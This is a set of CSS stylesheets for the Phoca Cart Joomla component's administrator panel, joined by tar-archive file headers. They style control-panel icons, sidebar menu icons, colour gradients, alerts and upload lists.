.regions-item-box,
.zones-item-box,
.payments-item-box,
.currencies-item-box,
.taxes-item-box,
.users-item-box,
.groups-item-box,
.rewards-item-box,
.formfields-item-box,
.reviews-item-box,
.coupons-item-box,
.discounts-item-box,
.downloads-item-box,
.tags-item-box,
.parameters-item-box,
.parametervalues-item-box,
.feeds-item-box,
.wishlists-item-box,
.questions-item-box,
.times-item-box,
.submititems-item-box,
.statistics-item-box,
.reports-item-box,
.hits-item-box,
.imports-item-box,
.exports-item-box,
.logs-item-box,
.info-item-box,
.extensions-item-box,
.vendors-item-box,
.sections-item-box,
.units-item-box {
	display: none;
}


/* Hide items in left menu 
.nav.nav-list li {
	display: none;
}

.nav.nav-list li:nth-child(1),
.nav.nav-list li:nth-child(2), 
.nav.nav-list li:nth-child(3),
.nav.nav-list li:nth-child(6)   {
	display:block;
}

/*
.menu-icon-16-pc-menu-item,
.menu-icon-16-pc-menu-categorie,
.menu-icon-16-pc-menu-specification,
.menu-icon-16-pc-menu-manufacturer,/*
.menu-icon-16-pc-menu-order,
.menu-icon-16-pc-menu-orderstatus,
.menu-icon-16-pc-menu-stockstatus,
.menu-icon-16-pc-menu-shipping,
.menu-icon-16-pc-menu-country,
.menu-icon-16-pc-menu-region,
.menu-icon-16-pc-menu-zone,
.menu-icon-16-pc-menu-payment,
.menu-icon-16-pc-menu-currency,
.menu-icon-16-pc-menu-tax,
.menu-icon-16-pc-menu-user,
.menu-icon-16-pc-menu-group,
.menu-icon-16-pc-menu-reward,
.menu-icon-16-pc-menu-formfields,
.menu-icon-16-pc-menu-review,
.menu-icon-16-pc-menu-coupon,
.menu-icon-16-pc-menu-discount,
.menu-icon-16-pc-menu-download,
.menu-icon-16-pc-menu-tag,
.menu-icon-16-pc-menu-parameter,
.menu-icon-16-pc-menu-parametervalue,
.menu-icon-16-pc-menu-feed,
.menu-icon-16-pc-menu-wishlist,
.menu-icon-16-pc-menu-question,
.menu-icon-16-pc-menu-time,
.menu-icon-16-pc-menu-submititem,
.menu-icon-16-pc-menu-statistics,
.menu-icon-16-pc-menu-report,
.menu-icon-16-pc-menu-hits,
.menu-icon-16-pc-menu-import,
.menu-icon-16-pc-menu-export,
.menu-icon-16-pc-menu-log,
.menu-icon-16-pc-menu-info-item-box,
.menu-icon-16-pc-menu-extension,
.menu-icon-16-pc-menu-vendor,
.menu-icon-16-pc-menu-section,
.menu-icon-16-pc-menu-unit {
	display: none !important;
}
*/administrator/phocacartoptions.css000064400000001674151170511340013524
0ustar00label {

}

hr {
	border: 1px solid #cce6ff;
}

.ph-options-head {
	background: #E5F3FF;
	color: #0079e0;
	border: 1px solid #add9ff;
	padding:15px 10px;
	margin:5px 0;
	display:block;
	text-shadow: 0 1px 0 #ffffff;
	margin-left: -180px;
	font-size: 110%;
}

.ph-options-head-expert {
	background: #F2dede;
	color: #b74848;
	border: 1px solid #e2b6b6;
	padding:15px 10px;
	margin:5px 0;
	display:block;
	text-shadow: 0 1px 0 #ffffff;
	margin-left: -180px;
	font-size: 110%;
}


/* 3.3.0 */
.ph-options-head {
	background-image: linear-gradient(-90deg, #129ED9,#0a5c80);
	color: #fff;
	text-shadow: none;
	border: 0;
	font-size: 120%;
	border-radius: 3px;
}
.ph-options-head-expert {
	background-image: linear-gradient(-90deg, #b74848,#b74848);
	color: #fff;
	text-shadow: none;
	border: 0;
	font-size: 120%;
	border-radius: 3px;
}


.form-horizontal .controls {
    /*margin-left: 300px !important;*/
}administrator/phocacarttheme.css000064400000067345151170511340013142
0ustar00
/*
@import
url('https://fonts.googleapis.com/css?family=Roboto:400,700&subset=latin-ext');

.admin.com_phocacart input,
.admin.com_phocacart button,
.admin.com_phocacart select,
.admin.com_phocacart textarea {
	font-family: "Roboto",
-apple-system,system-ui,BlinkMacSystemFont,"Segoe
UI",Roboto,"Helvetica Neue",Arial,sans-serif;
}
.admin.com_phocacart {
	font-family: "Roboto",
-apple-system,system-ui,BlinkMacSystemFont,"Segoe
UI",Roboto,"Helvetica Neue",Arial,sans-serif;
	font-size: 86% !important;
}
.admin.com_phocacart .small{
	font-size: 96% !important;
}



.nav-tabs > li > a {
    letter-spacing: -0.1em !important;
    padding: 0.7em 0.4em !important;
}

@import
url('https://fonts.googleapis.com/css?family=Rubik:400,600&subset=latin-ext');

.admin.com_phocacart input,
.admin.com_phocacart button,
.admin.com_phocacart select,
.admin.com_phocacart textarea {
	font-family: "Rubik",
-apple-system,system-ui,BlinkMacSystemFont,"Segoe
UI",Roboto,"Helvetica Neue",Arial,sans-serif;
}
.admin.com_phocacart {
	font-family: "Rubik",
-apple-system,system-ui,BlinkMacSystemFont,"Segoe
UI",Roboto,"Helvetica Neue",Arial,sans-serif;
	font-size: 86% !important;
}
.admin.com_phocacart .small{
	font-size: 96% !important;
}
*/

#j-main-container {
	padding: 20px !important;
	margin: 0 !important;
}

.container-main {
	background: transparent;
	margin-top: -12px;
	padding-left: 0px !important;
	padding-right: 0px !important;
	padding-bottom: 11px !important;
}

.container-main section#content div.row-fluid {
	margin: 0px !important;

}


.ph-admin-box {
	margin: 0px !important;
	background: #F1F5F9;
	background: #EDF0F5;
	padding: 0px !important;
	display: flex;
  	flex-flow: row;
  	flex-wrap: wrap;
	justify-content: left;
	/*align-items: flex-start;*/
}

#system-message-container {
	background: transparent;
	padding-right: 5px !important;
	margin-top: 10px;
	margin-bottom: -18px;
}

#system-message-container.span10,
#system-message-container.span10 .alert {
	display:none !important;
	margin:0px !important;
	padding:0px !important;
}/*
#content #system-message-container {
	display: block !important;
}
*/

.ph-admin-box-menu {

	background: #fff;
	padding: 20px 0px 40px 10px;
	background: #2D353E;
	color: #fff;
	border-right: 1px solid #DFE8F1;
	border-top: 1px solid #DFE8F1;
	margin-top: -1px;
	font-size: 116%;
}

.ph-admin-box-content {
	padding: 20px;
	background: #F1F5F9;
	background: #EDF0F5;
	margin: 0px !important;
	margin-top: 10px !important;
}

.ph-admin-manage table {
	background: #fff;
	border-radius: 3px;
}
.ph-admin-manage table tr:nth-child(even) {
	background: #fcfcfc;
}

.nav.nav-list li {
	margin-top: 5px;
}

.ph-main-container {
	background:#f5f5f5 !important;
}



.subhead {
    background: #f3f3f3 !important;
    border-bottom: 1px solid #f3f3f3 !important;

   /* color: #0C192E;
    box-shadow: 3px 3px 5px 0px rgba(0,0,0,1);
    text-shadow: 0 1px 0 #FFF;
    margin-bottom: 10px;
    min-height: 43px;*/
}



.ph-cpanel-top-stats {
	text-align: center;

}





.ph-cpanel-color {
	display: flex;
	flex-direction: row;
	justify-content: center;
	align-items: center;
	min-width: 140px;
	color: #fff;
	border-radius: 3px;
	border: 1px solid #DFE8F1;
    box-shadow: 0px 0px 1px 1px #eaf0f6;
}

.ph-cpanel-color-header {
	margin-top: 0px;
	letter-spacing: 0px;
	text-transform: uppercase;
	padding: 5px 0px 5px 3px;
	font-size: small;
	font-weight: lighter;
	text-align: center;
}
.ph-cpanel-color-header-block {
	padding: 5px 0px 5px 3px;
	text-align: center;
}

.ph-cpanel-stat-value {
	font-size: 25px;
	font-weight: bold;
	text-align: center;
	margin: 5px;
}

.ph-cpanel-color-right {
	width: 70%;
	text-align: center;
	background: rgba(0,0,0,0.1);
	border-radius: 0 3px 3px 0;

}

.ph-cpanel-color-left {
	width: 30%;
	text-align: center;
}

.ph-cpanel-color1 {
	background: #3DDCF7;
}
.ph-cpanel-color2 {
	background: #00B19D;
}
.ph-cpanel-color3 {
	background: #F76397;
}
.ph-cpanel-color4 {
	background: #7266BA;
}
.ph-cpanel-color5 {
	background: #FFAA00;
}
.ph-cpanel-color6 {
	background: #3BAFDA;
}




.ph-cpanel-color-left .glyphicon {

	font-size: 35px;
}


#phAdminEdit {
	padding: 20px;
}

#phAdminEdit .input-append.input-prepend .btn-prepend {
	border-radius: 3px 0px 0px 3px !important;
	height: 28px;
	padding-top: 5px;
}

#phAdminEdit .input-append .btn {
	border-radius: 0px 3px 3px 0px !important;
	height: 28px;
	padding-top: 5px;
}


#phAdminEdit .input-append .btn.button-select {
	border-radius: 0px 3px 3px 0px !important;
	height: 28px;
	padding-top: 4px;
}

#phAdminEdit .input-append .btn.button-clear {
	border-radius: 0px 3px 3px 0px !important;
	height: 28px !important;
	padding-top: 3px;
}




/* Icons CP */
.ph-icon-box {
}

.ph-icon-box,
.ph-icon-box a,
.ph-icon-box a:hover,
.ph-icon-box a:visited,
.ph-icon-box a:focus {
	color: #A6AAB1;
	text-decoration: none;
}

.ph-icon {
	margin: 0 auto;
	padding: 5px;

	margin: 0 auto;
	text-align: center;

}


.ph-cpanel-icon-box {
	margin-top:1rem;

}

.ph-cpanel-icon-box div .col-sm-3,
.ph-cpanel-icon-box div .col-md-3,
.ph-cpanel-icon-box div .col-sm-6,
.ph-cpanel-icon-box div .col-md-6,
.ph-cpanel-icon-box div .col-xs-12  {
    padding-left: 5px;
    padding-right: 5px;
}



.ph-icon-inside.thumbnail:hover {
	/*border: 3px solid #BCCFE1;
	box-shadow: 0px 0px 0px 0px transparent;
	box-shadow: inset 0px 0px 0px 0px transparent;*/
	border: 0px;
	box-shadow: none;
}
.ph-icon-inside.thumbnail img {
	margin-top: 10px;
	margin-bottom: -12px;
}
.ph-icon-inside.thumbnail span {}
.ph-icon-cp-large {
	font-size: 2.6rem;
	width: 2.6rem;
	height:2.6rem;

	text-align: center;
	margin-left: auto;
	margin-right: auto;
}

.ph-icon-cp-title {
	margin-top: 2px;
	display:block;
	font-size: 12px;
}

.ph-icon-inside-box {
   background: #fff;
   border-radius: 5px;
   border: 1px solid #DFE8F1;
   width: 7rem;
	height: 7rem;
	text-align: center;
	margin: auto;
	display: flex;
    	justify-content: center;
    	align-items: center;
  box-shadow: 0px 0px 1px 1px #eaf0f6;

}

.ph-icon-inside.thumbnail {
	/*	min-width: 110px;
		min-height: 110px;
		text-align: center;
		border-radius: 0px;
		background: transparent;
		/*box-shadow: 0px 0px 0px 0px transparent;
		box-shadow: inset 0px 0px 0px 0px transparent;
		border: 3px solid #DFE8F1;*//*
		border: 0px;
		box-shadow: none;
		font-size: small;*/

		border: 0px;
		box-shadow: none;
		border-radius: 50%;
		width: 5rem;
		height: 5rem;
		margin: auto;
		display: flex;
    	justify-content: center;
    	align-items: center;


	}

.ph-icon-inside .ph-icon-cp-large {

   /*color: #cddcea !important;*/


}
.ph-icon-inside .ph-icon-cp-large {
   text-shadow:
   -2px -2px 0 #575757,
    2px -2px 0 #575757,
    -2px 2px 0 #575757,
     2px 2px 0 #575757;
}

@media screen and (-webkit-min-device-pixel-ratio:0) {
	.ph-icon-inside .ph-icon-cp-large {
		/*-webkit-text-stroke: 2px #575757;*/
		text-shadow: none;
	}
}
@-moz-document url-prefix() {
	.ph-icon-inside .ph-icon-cp-large {
		/*-webkit-text-stroke: 2px #575757;*/
		text-shadow: none;
	}
}

.ph-icon-inside .ph-icon-cp-large:before {
	font-family: 'JoomlaFont' !important;
}


a.ph-icon-inside,
a.ph-icon-inside:hover,
a.ph-icon-inside:active,
a.ph-icon-inside:focus,
a.ph-icon-inside:visited {
	text-decoration: none;
}

.ph-icon-inside-box [class^="icon-"], .ph-icon-inside-box
[class*=" icon-"] {
    display: inline;
    width: auto;
    height: auto;
    margin-right: auto;
    line-height: 1;
}

.ph-icon-inside-box [class^="icon-"].duotone:after,
.ph-icon-inside-box [class*=" icon-"].duotone:after {
  opacity: 0.6;
}

/* CP Icons, Joomla! Font Icons */
.ph-cp-item-box {
	display: flex;
	flex-wrap: wrap;
}


.ph-cp-item-box .ph-cp-item {
	width: 7rem;
	margin: 0 0.7em 1.4em 0.7em;
}

.ph-cp-item-icon {
	background: #fff;
	border-radius: 5px;

	width: 7rem;
	height: 7rem;
	text-align: center;
	margin: auto;
	display: flex;
	justify-content: center;
	align-items: center;

	border: 0;
	background-image: linear-gradient(-45deg,#ffffff,#ffffff);
    box-shadow: 1px 2px 1px 0 rgba(0,0,0,.15);
}

.ph-cp-item-icon-link {
	width: 7rem;
	height:7rem;
	display: flex;
}

.ph-cp-item-icon-link,
.ph-cp-item-icon-link:hover,
.ph-cp-item-icon-link:active,
.ph-cp-item-icon-link:visited,
.ph-cp-item-icon-link:focus {
	color: #A6AAB1;
	text-decoration: none;
}

.ph-cp-item-icon-link span {
	border: 0px;
	box-shadow: none;
	border-radius: 50%;
	width: 5rem;
	height: 5rem;
	margin: auto;
	display: flex;
	justify-content: center;
	align-items: center;
	padding: 5px;
	text-align: center;
}

.ph-cp-item-icon-link:hover {
	border: 0px;
	box-shadow: none;
}

.ph-cp-item-icon-link-large {
	font-size: 2.6rem;
	width: 2.6rem;
	height:2.6rem;

	text-align: center;
	margin-left: auto;
	margin-right: auto;
}

.ph-cp-item-title {

	display:block;
	font-size: 0.95em;
	margin: 0 auto;
	margin-top: 0.1em;
	text-align: center
}

.ph-cp-item-icon-link-large {
   text-shadow:
   -2px -2px 0 #575757,
    2px -2px 0 #575757,
    -2px 2px 0 #575757,
     2px 2px 0 #575757;
}

@media screen and (-webkit-min-device-pixel-ratio:0) {
	.ph-cp-item-icon-link-large {
		/*-webkit-text-stroke: 2px #575757;*/
		text-shadow: none;
	}
}
@-moz-document url-prefix() {
	.ph-cp-item-icon-link-large {
		/*-webkit-text-stroke: 2px #575757;*/
		text-shadow: none;
	}
}

.ph-cp-item-icon-link-large:before {
	font-family: 'JoomlaFont' !important;
}

.ph-cp-item [class^="icon-"],
.ph-cp-item [class*=" icon-"] {
    display: inline;
    width: auto;
    height: auto;
    margin-right: auto;
    line-height: 1;
}

.ph-cp-item [class^="icon-"].duotone:after, .ph-cp-item
[class*=" icon-"].duotone:after {
  opacity: 0.6;
}


.pha-toolbox {
	width: 4rem;
}
.pha-toolbox a {
	display: inline-block;
	margin: 0.1em;
	margin-bottom: 0.3em;
	padding: 0;
	font-weight: bold;
}

.pha-no-underline,
.pha-no-underline:hover {
	text-decoration: none;
}

.ph-cp-item {
	text-align: center;
}

.ph-cp-item [class^="icon-"].phi-fs-s,
.ph-cp-item [class*=" icon-"].phi-fs-s {
	font-size: 1rem;
	width: 1rem;
	height: 1rem;
	display: inline-block;
	margin: auto;
}

.ph-cp-item [class^="icon-"].phi-fs-m,
.ph-cp-item [class*=" icon-"].phi-fs-m {
	font-size: 1.4rem;
	width: 1.4rem;
	height: 1.4rem;
	display: inline-block;
	margin: auto;
}
.ph-cp-item [class^="icon-"].phi-fs-l,
.ph-cp-item [class*=" icon-"].phi-fs-l {
	font-size: 3.6rem;
	width: 3.6rem;
	height: 3.6rem;
	display: inline-block;
	margin: auto;
}
.phi-fc-bl {color: #3f72af}
.phi-fc-bd {color: #112d4e}
.phi-fc-rl {color: #e23e57}
.phi-fc-rd {color: #CC1020}
.phi-fc-yl {color: #ffde7d}
.phi-fc-yd {color: #ffc314}
.phi-fc-brl{color: #D2BDA9}
.phi-fc-brd{color: #996633}
.phi-fc-od {color: #ff9a00}
.phi-fc-gd {color: #378137}
.phi-fc-gl {color: #62bc62}


.phi-mirror:before,
.phi-mirror:after {
	display:inline-block;
	-moz-transform: scale(-1, 1);
	-webkit-transform: scale(-1, 1);
	-o-transform: scale(-1, 1);
	-ms-transform: scale(-1, 1);
	transform: scale(-1, 1);
}

.nav.nav-tabs .ph-cp-item .phi:before,
.nav.nav-tabs .ph-cp-item .phi:after {
	margin-top: 0.2em;
}


.js-stools .js-stools-container-bar .btn-wrapper {
	margin: 0 3px;
	padding: 3px 0px;
 }

 .ph-info-item .icon-minus-circle {
	 color: #a94442;
 }
 .ph-info-item .icon-success {
	 color: #3c763d;
 }



/* Chart */
.ph-cpanel-chart-box {
	margin-top: 25px;
	margin-left: 0px;
	margin-right: 0px;
	border-radius: 3px;
	padding-left: 7px;
	background: #ffffff;
	border: 1px solid #DFE8F1;
}

.ph-cpanel-info-box,
.ph-cpanel-tips-box {
	margin-top: 25px;
	margin-left: 0px;
	padding: 20px;
	border-radius: 3px;
	background: #ffffff;
	border: 1px solid #DFE8F1;
}


/* Icons CP - specific case to overwrite core */



.ph-icon-inside .icon-heart:before {
    content: "\13c5a" !important;
}
.ph-icon-inside .icon-calendar:before {
    content: "\13c0f" !important;
}


/* Icons next to menu items - menu icons */
.nav.nav-list li:before {

	color: #A6AAB1;
    float:left;
    margin-right: 5px;
	margin-top: 2px;
	font-family: 'JoomlaFont' !important;
	content: "\13c5b";/*home*/
}
.nav.nav-list li:nth-child(2):before {
	color: #c1a46d;
	content: "\13beb";/*archive*/
}
.nav.nav-list li:nth-child(3):before {
	color: #da7400;
	content: "\13c4d";/*folder-open*/

}

.nav.nav-list li:nth-child(4):before {
	color: #4e5f81;
	content: "\13c3a";/*equalizer*/
}

.nav.nav-list li:nth-child(5):before {
	color: #ff7d49;
	content: "\13c5b";/*home*/

}
.nav.nav-list li:nth-child(6):before {
	color: #0099cc;
	content: "\13c12";/*cart*/
}
.nav.nav-list li:nth-child(7):before {

	color: #c1976d;
	content: "\13c34";/*disable-motion*/

}
.nav.nav-list li:nth-child(8):before {
	color: #777777;
	content: "\13c27";/*components*/
}
.nav.nav-list li:nth-child(9):before {
	color: #afbb6a;
	content: "\13c2f";/*cube*/
}
.nav.nav-list li:nth-child(10):before {

	color: #478CD1;
    content: "\13c52";/*globe*/
}
.nav.nav-list li:nth-child(11):before {
	color: #01868B;
    content: "\13c52";/*globe*/
}

.nav.nav-list li:nth-child(12):before {
	color: #a5dee5;
    content: "\13c67";/*location*/
}

.nav.nav-list li:nth-child(13):before {
	color: #4f9ce2;
    content: "\13afb";/*credit*/
}
.nav.nav-list li:nth-child(14):before {
	color: #dca300;
    content: "\13cc2";/*tags-squared*/
}
.nav.nav-list li:nth-child(15):before {
	color: #dd5500;
    content: "\13c0f";/*calendar*/
}
.nav.nav-list li:nth-child(16):before {
	color: #7faa7f;
    content: "\13cd4";/*users*/
}

.nav.nav-list li:nth-child(17):before {
	color: #aa7faa;
	content: "\13c57";/*groups*/
}
.nav.nav-list li:nth-child(18):before {
	color: #7faaaa;
	content: "\13bdc";/*vcard*/
}

.nav.nav-list li:nth-child(19):before {
	color: #ffde00;
    content: "\13c43";/*fields*/
}

.nav.nav-list li:nth-child(20):before {
	color: #399ed0;
    content: "\13c24";/*comment*/
}
.nav.nav-list li:nth-child(21):before {
	color: #FF6685;
    content: "\13c51";/*gift*/
}
.nav.nav-list li:nth-child(22):before {
	color: #aa56fe;
    content: "\13ca8";/*scissors*/
}

.nav.nav-list li:nth-child(23):before {
	color: #33af49;
    content: "\13c35";/*download-alt*/
}

.nav.nav-list li:nth-child(24):before {
	color: #CC0033;
    content: "\13cc0";/*tag-double*/
}

.nav.nav-list li:nth-child(25):before {
	color: #0040ff;
	content: "\13ce3";/*ellipsis-h*/
}

.nav.nav-list li:nth-child(26):before {
	color: #0040ff;
    content: "\13ce4";/*ellipsis-v*/
}
.nav.nav-list li:nth-child(27):before {
	color: #ffb300;
    content: "\13c41";/*feed*/
}
.nav.nav-list li:nth-child(28):before {
	color: #EA7C7C;
    content: "\13c5a";/*heart*/
}
.nav.nav-list li:nth-child(29):before {
	color: #9900CC;
    content: "\13c73";/*messaging*/
}

.nav.nav-list li:nth-child(30):before {
	color: #73b9ff;
    content: "\13c21";/*clock-alt*/
}

.nav.nav-list li:nth-child(31):before {
	color: #7fff73;
    content: "\13d11";/*duplicate-alt*/
}

.nav.nav-list li:nth-child(32):before {
	color: #c1756d;
    content: "\13c92";/*pie*/
}
.nav.nav-list li:nth-child(33):before {
	color: #8c0069;
    content: "\13c14";/*chart*/
}
.nav.nav-list li:nth-child(34):before {
	color: #fb1000;
    content: "\13c78";/*mouse-pointer-highlighter*/
}

.nav.nav-list li:nth-child(35):before {
	color: #668099;
	content: "\13cb2";/*sign-in*/
}
.nav.nav-list li:nth-child(36):before {
	color: #669999;
    content: "\13cb3";/*sign-out*/

}

.nav.nav-list li:nth-child(37):before {
	color: #c0c0c0;
    content: "\13cd1";/*logs*/
}

.nav.nav-list li:nth-child(38):before {
	color: #3378cc;
    content: "\13c5d";/*info-circle*/
}

.nav.nav-list li:nth-child(39):before {
	color: #2693ff;
    content: "\13c77";/*modules*/
}

.nav.nav-list li:nth-child(40):before {
	color: #b30059;
    content: "\13cd4";/*users*/
}

.nav.nav-list li:nth-child(41):before {
	color: #b35900;
    content: "\13c81";/*nofification-circle*/

}

.nav.nav-list li:nth-child(42):before {
	color: #ff9326;
    content: "\13c72";/*menu*/
}

.nav.nav-list li:nth-child(43):before {
	color: #f310de;
    content: "\13c20";/*click*/
}





/* Sidebar */

.nav.nav-list li:before {
   /*text-shadow:
   -1px -1px 0 #fff,
    1px -1px 0 #fff,
    -1px 1px 0 #fff,
     1px 1px 0 #fff;
	color: #000 !important;*/
	font-size: 120%;
	padding-top: 5px;
	padding-left: 10px;
}

@media screen and (-webkit-min-device-pixel-ratio:0) {
	.nav.nav-list li:before {
		/*-webkit-text-stroke: 1px #fff;*/
		text-shadow: none;
	}
}

@-moz-document url-prefix() {
	.nav.nav-list li:before {
		/*-webkit-text-stroke: 1px #fff;*/
		text-shadow: none;
	}
}

.sidebar-nav .nav-list {
    padding: 0px !important;
}
.nav-list {
   margin: 0px !important;
}



.sidebar-nav .nav-list > li > a {
    color: #fff !important;
   /* padding: 7px 10px 7px 44px !important;
	margin: -5px -5px -5px -10px !important;
	/*width: 90%;*/
	margin: 0px  !important;
	padding: 7px 10px 7px 40px !important;
	margin: -5px 10px -5px 0px !important;
}


.sidebar-nav .nav-list > li > a:focus, .sidebar-nav .nav-list > li
> a:hover,
.nav-list > .active > a, .nav-list > .active > a:hover,
.nav-list > .active > a:focus {


    text-shadow: 0px 0px 0px 0px transparent !important;
    text-shadow: none !important;
   /* background-color: #2D6CA2 !important;*/


}

.sidebar-nav .nav-list > li > a, .sidebar-nav .nav-list .nav-header {
    text-shadow: none;
	color: #fff;

}


.sidebar-nav .nav-list > li.active > a {


}

.sidebar-nav .nav-list > .active > a, .sidebar-nav .nav-list >
.active > a:hover, .sidebar-nav .nav-list > .active > a:focus {

	background-color: #2D6CA2 !important;
    text-shadow: none;
	border-radius: 2px;
}

.sidebar-nav .nav > li > a:hover, .sidebar-nav .nav > li >
a:focus {
    background-color: transparent;
    text-decoration: none;
	/*border-left: 5px solid #3071a9;*/
	color: #3071a9;
}



.table-striped tbody > tr:nth-child(odd) > td,
.table-striped tbody > tr:nth-child(odd) > th {
	background-color: #fff !important;
}
.table-striped tbody > tr.ph-featured,
.table-striped tbody > tr.ph-featured td {
	background: #ffe599 !important;
}





#j-toggle-sidebar-icon {
	display: none;
}




#status {
    box-shadow: 0px 0px 0px 0px transparent !important;
	box-shadow: inset 0px 0px 0px 0px transparent !important;
}


.pagination {
	min-height: 25px;
}

.btn-group > .btn:first-child {
	border-radius: 3px 0px 0px 3px !important;
}
.btn-group > .btn:last-child {
	border-radius: 0px 3px 3px 0px !important;
}


#ph-extended-params {
	/* display: none; */
}
.ph-extended-params-inbox {

	background: #F1F5F9;
	-webkit-border-radius: 3px;
	border-radius: 3px;
	padding: 10px;
	margin-left: -10px;
	margin-bottom: 10px;
}

.ph-product-price-history-box,
.ph-product-customer-group-box,
.ph-discount-box,
.ph-specification-box,
.ph-attribute-box {

	background: #F1F5F9;
	-webkit-border-radius: 3px;
	border-radius: 3px;
	padding: 10px;
	margin-left: -10px;
	margin-bottom: 10px;
}

.ph-option-box {
	background: #DFE8F1;
	padding: 10px;
	border-radius: 3px;

}

.alert {
	border-radius: 0px !important;
	border: 0px !important;
}

.alert-success {
	background-color: #DFF0D8 !important;
	border-left: 5px solid #3C763D  !important;
}
.alert-info {
	background-color: #D9EDF7  !important;
	border-left: 5px solid #31709B  !important;
}
.alert-warning {
	background-color: #FCF8E3  !important;
	border-left: 5px solid #8A6D3B  !important;
}
.alert-error,
.alert-danger {
	background-color:	#F2DEDE  !important;
	border-left: 5px solid	#A94442  !important;
}


.ph-admin-stat-box {
	padding: 20px;
	border-radius: 3px;
	background: #ffffff;
	border: 1px solid #DFE8F1;
	margin: 20px 0px;
}

.label, .badge {
	text-shadow: none !important;
	font-weight: 100 !important;
}

.input-append .add-on, .input-prepend .add-on {
	height: auto !important;
	border-color: #dedede !important;
}

#phAdminEdit input, #phAdminEdit textarea, #phAdminEdit .uneditable-input {
    width: 220px;
}

#phAdminEdit .ph-attribute-box .minicolors-input,
#phAdminEdit .ph-attribute-box .input-small {
	width: 90px;
}

#phAdminEditProducts input {
	width: 150px;
}
#phAdminEditProducts input.input-xlarge {
	width: 200px;
}

#phAdminEditProducts input.input-xxlarge {
	width: 530px;
}

#phAdminEdit .chzn-search input {
	width: 210px;
}








#phAdminEdit .ph-radio-top {
	vertical-align:top;
	top:0;
	padding-top:0px;
	margin: 0 auto;
	text-align: center;
	margin-top: -26px !important;
	width: 20px !important;
}
#phAdminEdit .ph-radio-top input {
	width: 20px !important;
}

.col-sm-6, .col-sm-2 {

}

/* Multiple Upload */


ul.plupload_filelist li  {
	padding-top: 15px;
}

ul.plupload_filelist li.plupload_file_name {
	width: 35%;
}
ul.plupload_filelist li .plupload_file_name:before {
	font-family: 'JoomlaFont' !important;
	color: #d0d0d0;
    content: "\e022";
	float: left;
	margin: 0px 5px 5px 0px;
	padding-bottom: 2px;
}


.plupload_filelist {
    margin: 0;
    padding: 0;
    list-style: none;
    border: 5px dashed #d0d0d0;
	background: #f5f5f5;
    border-radius: 0;
}

li.plupload_droptext {
    font-size: 200%;
	color: #d0d0d0;
	text-transform: uppercase;
	font-weight: bold;

}

li.plupload_droptext:before {
	font-family: 'JoomlaFont' !important;
	color: #d0d0d0;
    content: "\e022 ";
	font-size: 200%;
	text-align: center;
	margin: 0px auto;
	/*display: block-inline;*/
	float:none;
}

.ph-red {
	color: #d60000;
}
.ph-currency-row {

	margin: 5px;
	background: #FFD6D6;
	border-radius: 3px;
}

.ph-currency-col  {

	margin: 5px;
	background: #FFD6D6;
	border-radius: 0px;
	text-align: center;
}

.ph-success-txt {
	font-weight: bold;
	color: #00B19D;
}
.ph-disabled-txt {
	font-weight: bold;
	color: #F76397;
}
.ph-extension-button .btn {
	padding: 6px 5px;
}

table#extensionList tr td {
	vertical-align: middle;
}

.ph-featured-box {
	padding: 10px;
	background: #fff;
	border: 1px solid #DFE8F1;
}
.ph-featured-head {
	font-weight: bold;
}
.ph-featured-image {
	float: left;
	margin: 0px 10px 10px 0px;
}

.ph-featured-image-large {
	text-align: center;
}
.ph-featured-image-large img {
	margin: 10px auto;
}

.ph-featured-box a,
.ph-featured-box a:hover,
.ph-featured-box a:visited,
.ph-featured-box a:focus {
	text-decoration:none;
	color: #555;
}


/* 3.3.0 */

.ph-cpanel-chart-box {
	box-shadow: 0 3px 8px 0 rgba(60,70,100,.1), 0 3px 6px 0 rgba(0,0,0,0.1);
	background-image: linear-gradient(-45deg,#0443a5,#009bd5);
    background-position: center;
	border: 0;
	color: #fff;
	box-shadow: 0 1px 1px 0 rgba(0,0,0,.15);
}

.ph-icon-inside-box {
    border: 0;
	background-image: linear-gradient(-45deg,#ffffff,#f5f5f5);
	box-shadow: 0 3px 8px 0 rgba(60,70,100,.1), 0 3px 6px 0 rgba(0,0,0,0.1);

	background-image: linear-gradient(-45deg,#f5f5f5,#ffffff);
	box-shadow: 0 1px 1px 0 rgba(0,0,0,.15);
}

.ph-cpanel-info-box, .ph-cpanel-tips-box {
    border: 0;
	background-image: linear-gradient(-45deg,#ffffff,#f7f7f7);
	box-shadow: 0 3px 8px 0 rgba(60,70,100,.1), 0 3px 6px 0 rgba(0,0,0,0.1);

	background-image: linear-gradient(-45deg,#f5f5f5,#ffffff);
	box-shadow: 0 1px 1px 0 rgba(0,0,0,.15);
}

.ph-cpanel-color {
    border: 0;
	background-image: linear-gradient(-45deg,#ffffff,#f7f7f7);
	box-shadow: 0 3px 8px 0 rgba(60,70,100,.1), 0 3px 6px 0 rgba(0,0,0,0.1);

	background-image: linear-gradient(-45deg,#f5f5f5,#ffffff);
	box-shadow: 0 1px 1px 0 rgba(0,0,0,.15);
}

.ph-cpanel-color-right {
   /* background: rgba(200,200,200,0.1);*/
   background: #fff;
}

.ph-cpanel-color1 {
	color: #3ddcf7;
}
.ph-cpanel-color1,
.ph-cpanel-color1 .ph-cpanel-color-right {
	background-image: linear-gradient(80deg, #3ddcf7,#0ad3f5);
	color: #fff;
}

.ph-cpanel-color2 {
	color: #00b19d;
}
.ph-cpanel-color2,
.ph-cpanel-color2 .ph-cpanel-color-right {
	background-image: linear-gradient(80deg, #00b19d,#007a6d);
	color: #fff;
}

.ph-cpanel-color3 {
	color: #F76397;
}
.ph-cpanel-color3,
.ph-cpanel-color3 .ph-cpanel-color-right {
	background-image: linear-gradient(80deg, #F76397,#f42e74);
	color: #fff;
}

.ph-cpanel-color4 {
	color: #7266BA;
}
.ph-cpanel-color4,
.ph-cpanel-color4 .ph-cpanel-color-right {
	background-image: linear-gradient(80deg, #7266BA,#5649a2);
	color: #fff;
}

.ph-cpanel-color5 {
	color: #FFAA00;
}
.ph-cpanel-color5,
.ph-cpanel-color5 .ph-cpanel-color-right {
	background-image: linear-gradient(80deg, #FFAA00,#cc8800);
	color: #fff;
}

.ph-cpanel-color6 {
	color: #3BAFDA;
}
.ph-cpanel-color6,
.ph-cpanel-color6 .ph-cpanel-color-right {
	background-image: linear-gradient(80deg, #3BAFDA,#2493bd);
	color: #fff;
}

.sidebar-nav .nav-list > li > a:focus,
.sidebar-nav .nav-list > li > a:hover,
.nav-list > .active > a, .nav-list > .active > a:hover,
.nav-list > .active > a:focus,

.sidebar-nav .nav-list > .active > a,
.sidebar-nav .nav-list > .active > a:hover,
.sidebar-nav .nav-list > .active > a:focus {
    background-color: #2D6CA2 !important;
	background-image: linear-gradient(-80deg, #2D6CA2,#215078);
}

